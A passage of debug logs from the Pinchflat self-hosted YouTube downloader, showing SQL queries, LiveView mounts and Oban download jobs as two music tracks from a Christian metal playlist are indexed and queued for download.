s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:50.381 [debug] Replied in 1ms 22:19:50.382 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 2} 22:19:50.382 [debug] QUERY OK source="sources" db=0.1ms idle=88.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:50.382 [debug] QUERY OK source="media_items" db=0.0ms idle=88.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:19:50.383 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:50.383 [debug] Replied in 775µs 22:19:50.383 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 2} 22:19:50.384 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:50.384 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:19:50.384 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:50.384 [debug] Replied in 1ms 22:19:51.296 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by TuneCore\n\nThe Evening Hate · Red\n\nDeclaration\n\n℗ 2020 RED ENTERTAINMENT/The Fuel Music\n\nReleased on: 2020-04-03\n\nAuto-generated by YouTube.", "duration" => 287, "filename" => "/downloads/ChristianMetal/ChristianMetal/2020-04-02The Evening Hate[9ZQGB0kOfW8].NA", "id" => "9ZQGB0kOfW8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9ZQGB0kOfW8", "playlist_index" => 3, "timestamp" => 1585821955, "title" => "The Evening Hate", "upload_date" => "20200402"} 22:19:51.296 [debug] QUERY OK source="sources" db=0.1ms idle=913.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:51.296 [debug] QUERY OK source="sources" db=0.1ms idle=912.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:51.297 [debug] QUERY OK source="media_items" db=0.2ms idle=912.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-02 10:05:55Z], 5] 22:19:51.490 [debug] QUERY OK source="media_items" db=192.4ms idle=912.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by TuneCore\n\nThe Evening Hate · Red\n\nDeclaration\n\n℗ 2020 RED ENTERTAINMENT/The Fuel Music\n\nReleased on: 2020-04-03\n\nAuto-generated by YouTube.", "The Evening Hate", "6c54c836-05e9-4a2e-9b31-82de28437294", false, "9ZQGB0kOfW8", 287, false, "https://www.youtube.com/watch?v=9ZQGB0kOfW8", 3, "/downloads/ChristianMetal/ChristianMetal/2020-04-02The Evening Hate[9ZQGB0kOfW8].NA", false, false, 5, [], 3, ~U[2020-04-02 10:05:55Z], ~U[2026-07-24 02:19:51Z], ~U[2026-07-24 02:19:51Z], "Provided to YouTube by TuneCore\n\nThe Evening Hate · Red\n\nDeclaration\n\n℗ 2020 RED ENTERTAINMENT/The Fuel Music\n\nReleased on: 2020-04-03\n\nAuto-generated by YouTube.", "The Evening Hate", "9ZQGB0kOfW8", 287, false, "https://www.youtube.com/watch?v=9ZQGB0kOfW8", "/downloads/ChristianMetal/ChristianMetal/2020-04-02The Evening Hate[9ZQGB0kOfW8].NA", false, 5, ~U[2020-04-02 10:05:55Z]] 22:19:51.490 [debug] QUERY OK source="sources" db=0.2ms idle=961.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:51.490 [debug] QUERY OK source="media_profiles" db=0.1ms idle=193.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:51.491 [debug] QUERY OK source="media_items" db=0.1ms idle=194.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119] 22:19:51.491 [info] Kicking off download for media item #119 (9ZQGB0kOfW8) 22:19:51.790 [debug] QUERY OK source="tasks" db=161.6ms queue=0.1ms idle=137.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [182, 119, ~U[2026-07-24 02:19:51Z], ~U[2026-07-24 02:19:51Z]] 22:19:51.791 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nDeathgrip · Fit for a King\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "duration" => 255, "filename" => "/downloads/ChristianMetal/ChristianMetal/2016-10-06Deathgrip[HUxq0YxIRls].NA", "id" => "HUxq0YxIRls", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HUxq0YxIRls", "playlist_index" => 4, "timestamp" => 1475754487, "title" => "Deathgrip", "upload_date" => "20161006"} 22:19:51.791 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=299.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:51.792 [debug] QUERY OK source="sources" db=0.4ms idle=163.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:51.793 [debug] QUERY OK source="media_items" db=0.3ms idle=163.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-10-06 11:48:07Z], 5] 22:19:51.977 [info] {"args":{"id":119},"id":182,"meta":{},"system_time":1784859591977634334,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:19:51.978 [debug] QUERY OK source="media_items" db=0.2ms idle=185.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [119] 22:19:51.978 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:19:52.120 [debug] QUERY OK source="media_items" db=143.1ms idle=187.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nDeathgrip · Fit for a King\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "Deathgrip", "6fc4ea7c-c4d2-4e03-93a4-02f884fed677", false, "HUxq0YxIRls", 255, false, "https://www.youtube.com/watch?v=HUxq0YxIRls", 4, "/downloads/ChristianMetal/ChristianMetal/2016-10-06Deathgrip[HUxq0YxIRls].NA", false, false, 5, [], 2, ~U[2016-10-06 11:48:07Z], ~U[2026-07-24 02:19:51Z], ~U[2026-07-24 02:19:51Z], "Provided to YouTube by The Orchard Enterprises\n\nDeathgrip · Fit for a King\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "Deathgrip", "HUxq0YxIRls", 255, false, "https://www.youtube.com/watch?v=HUxq0YxIRls", "/downloads/ChristianMetal/ChristianMetal/2016-10-06Deathgrip[HUxq0YxIRls].NA", false, 5, ~U[2016-10-06 11:48:07Z]] 22:19:52.121 [debug] QUERY OK source="sources" db=0.4ms idle=327.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:52.122 [debug] QUERY OK source="media_profiles" db=0.1ms idle=144.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:52.122 [debug] QUERY OK source="media_items" db=0.1ms idle=143.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [121] 22:19:52.122 [info] Kicking off download for media item #121 (HUxq0YxIRls) 22:19:52.443 [debug] QUERY OK source="tasks" db=138.4ms queue=0.1ms idle=182.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [183, 121, ~U[2026-07-24 02:19:52Z], ~U[2026-07-24 02:19:52Z]] 22:19:52.443 [debug] Current batch of media processed. Will check again in 1000ms 22:19:52.685 [info] {"args":{"id":121},"id":183,"meta":{},"system_time":1784859592685186887,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:19:52.686 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=381.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [121] 22:19:52.686 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:19:52.687 [debug] QUERY OK source="sources" db=0.3ms idle=243.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:52.688 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:52.688 [debug] QUERY OK source="media_items" db=0.5ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [121] 22:19:52.690 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [121] 22:19:52.708 [debug] QUERY OK source="sources" db=729.6ms idle=185.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:52.708 [debug] QUERY OK source="media_profiles" db=0.6ms queue=17.7ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:52.709 [debug] QUERY OK source="media_profiles" db=0.7ms idle=19.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:52.709 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=18.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.710 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119] 22:19:52.711 [debug] Running yt-dlp command for action: get_downloadable_status 22:19:52.712 [debug] QUERY OK source="media_metadata" db=0.2ms idle=3.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [119] 22:19:52.712 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:52.713 [debug] QUERY OK source="settings" db=0.9ms idle=2.6ms SELECT s0."id", 